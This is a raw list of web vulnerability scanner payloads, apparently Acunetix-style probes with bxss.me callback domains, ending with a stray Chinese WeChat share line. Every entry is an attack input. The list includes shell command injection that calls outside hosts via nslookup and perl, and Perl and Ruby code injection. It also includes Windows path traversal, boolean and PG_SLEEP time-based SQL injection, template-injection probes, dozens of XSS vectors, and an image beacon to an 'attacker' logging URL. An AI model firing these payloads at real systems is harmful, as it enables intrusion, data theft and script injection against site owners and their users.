- |echo jcsmjd$()\ mulkkj\nz^xyu||a #' |echo jcsmjd$()\ mulkkj\nz^xyu||a #|" |echo jcsmjd$()\ mulkkj\nz^xyu||a #
- ../../../../../../../../../../../../../../windows/win.ini
- (nslookup hittibxubkqev63666.bxss.me||perl -e "gethostbyname('hittibxubkqev63666.bxss.me')")
- $(nslookup hitgsqrgqlemv75c8b.bxss.me||perl -e "gethostbyname('hitgsqrgqlemv75c8b.bxss.me')")
- ${10000129+9999692}
- &(nslookup hitdkgyjptnli2de9b.bxss.me||perl -e "gethostbyname('hitdkgyjptnli2de9b.bxss.me')")&'\"`0&(nslookup hitdkgyjptnli2de9b.bxss.me||perl -e "gethostbyname('hitdkgyjptnli2de9b.bxss.me')")&`'
- |(nslookup hitmzfhngaysq1482e.bxss.me||perl -e "gethostbyname('hitmzfhngaysq1482e.bxss.me')")
- `(nslookup hitevxhdjzypze9e43.bxss.me||perl -e "gethostbyname('hitevxhdjzypze9e43.bxss.me')")`
- 1&n977340=v972742
- '.gethostbyname(lc('hitri'.'cqsxfcyob4e9c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(82).chr(102).chr(70).'
- ".gethostbyname(lc("hitlr"."xwtybwcv1b8d0.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(79).chr(97).chr(67)."
- "+"A".concat(70-3).concat(22*4).concat(105).concat(90).concat(114).concat(89)+(require"socket" Socket.gethostbyname("hitxz"+"fkefqusue42e6.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(122).concat(67).concat(102).concat(87)+(require'socket' Socket.gethostbyname('hitky'+'xksiriwqf93ab.bxss.me.')[3].to_s)+'
- tbgz6SBw
- -1 OR 2+596-596-1=0+0+0+1 --
- -1 OR 2+38-38-1=0+0+0+1
- -1' OR 2+581-581-1=0+0+0+1 --
- -1' OR 2+476-476-1=0+0+0+1 or 'KerAwRw9'='
- -1" OR 2+333-333-1=0+0+0+1 --
- 1'"()&%<acx><ScRiPt >Py3A(9713)</ScRiPt>
- '"()&%<acx><ScRiPt >Py3A(9541)</ScRiPt>
- 19380698
- acu8242＜s1﹥s2ʺs3ʹuca8242
- acux7238z1z2abcxuca7238
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- Ai8pxijt'
- -5 OR 754=(SELECT 754 FROM PG_SLEEP(15))--
- acx{{98991*97996}}xca
- -5) OR 894=(SELECT 894 FROM PG_SLEEP(15))--
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- -1)) OR 123=(SELECT 123 FROM PG_SLEEP(15))--
- 4RBSztnY' OR 257=(SELECT 257 FROM PG_SLEEP(15))--
- q3dMKCYb') OR 727=(SELECT 727 FROM PG_SLEEP(15))--
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- klGEvZvC')) OR 635=(SELECT 635 FROM PG_SLEEP(15))--
- acu6256＜s1﹥s2ʺs3ʹuca6256
- acux8460z1z2abcxuca8460
- @@VrrGy
- acu3326＜s1﹥s2ʺs3ʹuca3326
- acux3816z1z2abcxuca3816
- 1"onmouseover=Py3A(91062)"
- 1" 1aZq=Py3A([!+!]) lBL="
- 1\u0022onmouseover=Py3A(95623)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%50%79%33%41%28%39%35%34%31%34%29%22
- "onmouseover=Py3A(97345)//
- 1"sTYLe='acu:Expre/**/SSion(Py3A(9074))'bad="
- 1"><script>Py3A(9467)</script>
- 1<ScRiPt >Py3A(9076)</ScRiPt>
- 1<WGNI3F>VGXBQ[!+!]</WGNI3F>
- 1<script>Py3A(9293)</script>
- 1<ScR<ScRiPt>IpT>Py3A(9483)</sCr<ScRiPt>IpT>
- 1<ScRiPt >Py3A(9876)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9376></ScRiPt>
- 1< ScRiPt >Py3A(9975)</ScRiPt>
- 1<svg onload=Py3A(9540)
- 1<isindex type=image src=1 onerror=Py3A(9942)>
- 1<body onload=Py3A(9339)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=Py3A(9735)>
- 1<img src=xyz OnErRor=Py3A(9478)>
- 1<img/src=">" onerror=alert(9091)>
- %31%3C%53%63%52%69%50%74%20%3E%50%79%33%41%289848%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\Py3A(9264)\u003C/sCripT\u003E
- <img acu onmouseover=Py3A(96701) //>
- 1<input autofocus onfocus=Py3A(9807)>
- 1}body{acu:Expre/**/SSion(Py3A(9907))}
- 1WRi5S <ScRiPt >Py3A(9334)</ScRiPt>
- 1<W4HE89>L8ELK[!+!]</W4HE89>
- 1<ifRAme sRc=9136.com></IfRamE>
- 1<aZSWx5a x=9288>
- 1<img sRc='http://attacker-9138/log.php?
- 1<abJuWLf<
微信扫一扫, 保存到手机
